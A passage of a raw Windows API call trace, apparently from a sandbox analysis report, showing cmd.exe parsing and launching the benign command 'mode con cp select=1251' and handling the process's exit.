lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0131.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.406] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.406] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0131.407] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.407] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.407] ReadFile (in: hFile=0xe8, lpBuffer=0x4a3cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15f558, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x15f558*=0x1, lpOverlapped=0x0) returned 1 [0131.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0131.407] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.407] GetFileType (hFile=0xe8) returned 0x3 [0131.407] _get_osfhandle (_FileHandle=0) returned 0xe8 [0131.407] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.407] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.407] GetFileType (hFile=0xf4) returned 0x3 [0131.408] _get_osfhandle (_FileHandle=1) returned 0xf4 [0131.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0131.408] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x15f538, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f538*=0x18, lpOverlapped=0x0) returned 1 [0131.408] GetProcessHeap () returned 0x230000 [0131.408] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x24b310 [0131.408] GetProcessHeap () returned 0x230000 [0131.408] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b310 | out: hHeap=0x230000) returned 1 [0131.408] _wcsicmp (_String1="mode", _String2=")") returned 68 [0131.408] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0131.408] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0131.408] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0131.408] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0131.408] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0131.408] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0131.409] GetProcessHeap () returned 0x230000 [0131.409] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x249840 [0131.409] GetProcessHeap () returned 0x230000 [0131.409] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x244630 [0131.409] GetProcessHeap () returned 0x230000 [0131.409] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x38) returned 0x246550 [0131.410] GetConsoleOutputCP () returned 0x1b5 [0131.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0131.423] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0131.423] GetConsoleTitleW (in: lpConsoleTitle=0x15f4f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0131.423] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0131.423] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0131.423] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0131.424] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0131.424] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0131.424] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0131.424] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0131.424] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0131.424] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0131.424] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0131.424] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0131.424] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0131.424] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0131.424] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0131.424] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0131.424] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0131.424] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0131.424] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0131.424] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0131.424] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0131.424] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0131.424] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0131.424] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0131.424] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0131.424] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0131.424] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0131.424] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0131.424] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0131.424] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0131.424] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0131.424] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0131.424] _wcsicmp (_String1="mode", _String2="START") returned -6 [0131.424] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0131.424] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0131.424] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0131.424] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0131.424] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0131.424] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0131.424] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0131.424] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0131.425] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0131.425] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0131.425] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0131.425] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0131.425] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0131.425] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0131.425] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0131.425] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0131.425] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0131.425] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0131.425] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0131.425] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0131.425] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0131.425] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0131.425] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0131.425] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0131.425] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0131.425] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0131.425] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0131.425] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0131.425] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0131.425] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0131.425] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0131.425] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0131.425] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0131.425] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0131.425] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0131.425] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0131.425] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0131.425] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0131.425] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0131.425] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0131.425] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0131.425] _wcsicmp (_String1="mode", _String2="START") returned -6 [0131.425] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0131.426] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0131.426] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0131.426] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0131.426] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0131.426] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0131.426] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0131.426] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0131.426] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0131.426] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0131.426] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0131.426] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0131.426] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0131.426] GetProcessHeap () returned 0x230000 [0131.426] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x24aae0 [0131.426] GetProcessHeap () returned 0x230000 [0131.426] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x42) returned 0x249900 [0131.426] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0131.427] GetProcessHeap () returned 0x230000 [0131.427] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x420) returned 0x24b310 [0131.427] SetErrorMode (uMode=0x0) returned 0x0 [0131.427] SetErrorMode (uMode=0x1) returned 0x0 [0131.427] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x24b320, lpFilePart=0x15ed80 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x15ed80*="system32") returned 0x13 [0131.427] SetErrorMode (uMode=0x0) returned 0x1 [0131.427] GetProcessHeap () returned 0x230000 [0131.427] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24b310, Size=0x42) returned 0x24b310 [0131.427] GetProcessHeap () returned 0x230000 [0131.427] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b310) returned 0x42 [0131.427] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0131.427] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0131.427] GetProcessHeap () returned 0x230000 [0131.427] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x104) returned 0x245bb0 [0131.427] GetProcessHeap () returned 0x230000 [0131.427] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1f8) returned 0x249c60 [0131.433] GetProcessHeap () returned 0x230000 [0131.433] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x249c60, Size=0x106) returned 0x249c60 [0131.433] GetProcessHeap () returned 0x230000 [0131.433] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x249c60) returned 0x106 [0131.433] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0131.433] GetProcessHeap () returned 0x230000 [0131.433] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xe8) returned 0x249d80 [0131.433] GetProcessHeap () returned 0x230000 [0131.433] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x249d80, Size=0x7e) returned 0x249d80 [0131.433] GetProcessHeap () returned 0x230000 [0131.433] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x249d80) returned 0x7e [0131.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0131.435] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x15eaf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15eaf0) returned 0x245cc0 [0131.435] GetProcessHeap () returned 0x230000 [0131.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x244660 [0131.435] FindClose (in: hFindFile=0x245cc0 | out: hFindFile=0x245cc0) returned 1 [0131.435] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x15eaf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15eaf0) returned 0x245cc0 [0131.435] GetProcessHeap () returned 0x230000 [0131.435] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x244660, Size=0x8) returned 0x249950 [0131.435] FindClose (in: hFindFile=0x245cc0 | out: hFindFile=0x245cc0) returned 1 [0131.435] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0131.435] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0131.435] GetConsoleTitleW (in: lpConsoleTitle=0x15f040, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0131.529] GetProcessHeap () returned 0x230000 [0131.529] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x21c) returned 0x24b370 [0131.529] GetConsoleTitleW (in: lpConsoleTitle=0x24b380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0131.529] GetProcessHeap () returned 0x230000 [0131.529] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24b370, Size=0x8a) returned 0x24b370 [0131.529] GetProcessHeap () returned 0x230000 [0131.529] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b370) returned 0x8a [0131.529] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0131.530] GetProcessHeap () returned 0x230000 [0131.530] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b370 | out: hHeap=0x230000) returned 1 [0131.530] InitializeProcThreadAttributeList (in: lpAttributeList=0x15edf8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x15edb8 | out: lpAttributeList=0x15edf8, lpSize=0x15edb8) returned 1 [0131.530] UpdateProcThreadAttribute (in: lpAttributeList=0x15edf8, dwFlags=0x0, Attribute=0x60001, lpValue=0x15eda8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x15edf8, lpPreviousValue=0x0) returned 1 [0131.530] GetStartupInfoW (in: lpStartupInfo=0x15ef10 | out: lpStartupInfo=0x15ef10*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0131.530] GetProcessHeap () returned 0x230000 [0131.530] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x20) returned 0x244660 [0131.530] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0131.530] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0131.530] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0131.530] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0131.530] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0131.531] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0131.531] GetProcessHeap () returned 0x230000 [0131.531] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x244660 | out: hHeap=0x230000) returned 1 [0131.531] GetProcessHeap () returned 0x230000 [0131.532] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x12) returned 0x248940 [0131.532] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x15ee30*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x15ede0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x15ede0*(hProcess=0x54, hThread=0x50, dwProcessId=0x6b4, dwThreadId=0x6b8)) returned 1 [0131.539] CloseHandle (hObject=0x50) returned 1 [0131.539] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0131.539] GetProcessHeap () returned 0x230000 [0131.539] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x248aa0 | out: hHeap=0x230000) returned 1 [0131.539] GetEnvironmentStringsW () returned 0x248aa0* [0131.539] GetProcessHeap () returned 0x230000 [0131.539] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xafc) returned 0x24b370 [0131.539] FreeEnvironmentStringsW (penv=0x248aa0) returned 1 [0131.540] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77640000 [0131.540] GetProcAddress (hModule=0x77640000, lpProcName="NtQueryInformationProcess") returned 0x776914a0 [0131.540] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x15e6e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x15e6e8, ReturnLength=0x0) returned 0x0 [0131.540] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x15e720, nSize=0x380, lpNumberOfBytesRead=0x15e6e0 | out: lpBuffer=0x15e720*, lpNumberOfBytesRead=0x15e6e0*=0x380) returned 1 [0131.540] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0132.160] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x15ed28 | out: lpExitCode=0x15ed28*=0x0) returned 1 [0132.160] CloseHandle (hObject=0x54) returned 1 [0132.160] _vsnwprintf (in: _Buffer=0x15ef98, _BufferCount=0x13, _Format="%08X", _ArgList=0x15ed38 | out: _Buffer="00000000") returned 8 [0132.160] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0132.160] GetProcessHeap () returned 0x230000 [0132.160] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b370 | out: hHeap=0x230000) returned 1 [0132.160] GetEnvironmentStringsW () returned 0x24e9b0* [0132.160] GetProcessHeap () returned 0x230000 [0132.160] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb22) returned 0x24f4e0 [0132.160] FreeEnvironmentStringsW (penv=0x24e9b0) returned 1 [0132.160] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0132.160] GetProcessHeap () returned 0x230000 [0132.160] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24f4e0 | out: hHeap=0x230000) returned 1 [0132.160] GetEnvironmentStringsW () returned 0x24e9b0* [0132.160] GetProcessHeap () returned 0x230000 [0132.160] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb22) returned 0x24f4e0 [0132.160] FreeEnvironmentStringsW (penv=0x24e9b0) returned 1 [0132.160] GetProcessHeap () returned 0x230000 [0132.160] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x248940 | out: hHeap=0x230000) returned 1 [0132.160] DeleteProcThreadAttributeList (in: lpAttributeList=0x15edf8 | out: lpAttributeList=0x15edf8) [0132.160] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0132.164] _get_osfhandle (_FileHandle=1) returned 0xf4 [0132.164] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0132.164] _get_osfhandle (_FileHandle=1) returned 0xf4 [0132.164] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a3be194 | out: lpMode=0x4a3be194) returned 0 [0132.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0132.164] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a3be198 | out: lpMode=0x4a3be198) returned 0 [0132.164] GetConsoleOutputCP () returned 0x4e3 [0132.164] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0132.165] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249d80 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249c60 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245bb0 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b310 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249900 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24aae0 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x246550 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x244630 | out: hHeap=0x230000) returned 1 [0132.166] GetProcessHeap () returned 0x230000 [0132.166] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x249840 | out: hHeap=0x230000) returned 1 [0132.166] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15f258 | out: _Buffer="\r\n") returned 2 [0132.166] _get_osfhandle (_FileHandle=1) returned 0xf4 [0132.166] GetFileType (hFile=0xf4) returned 0x3 [0132.166] _get_osfhandle (_FileHandle=1) returned 0xf4 [0132.166] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0132.166] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15f228, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x15f228*=0x2, lpOverlapped=0x0) returned 1 [0132.166] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0132.166] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0132.166] _vsnwprintf (in: _Buffer=0x4a3beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x15f268 | out: _Buffer="C:\\Windows\\system32") returned 19 [0132.167] _vsnwprintf (in: _Buffer=0x4a3beb86, _BufferCount=0x3eb, 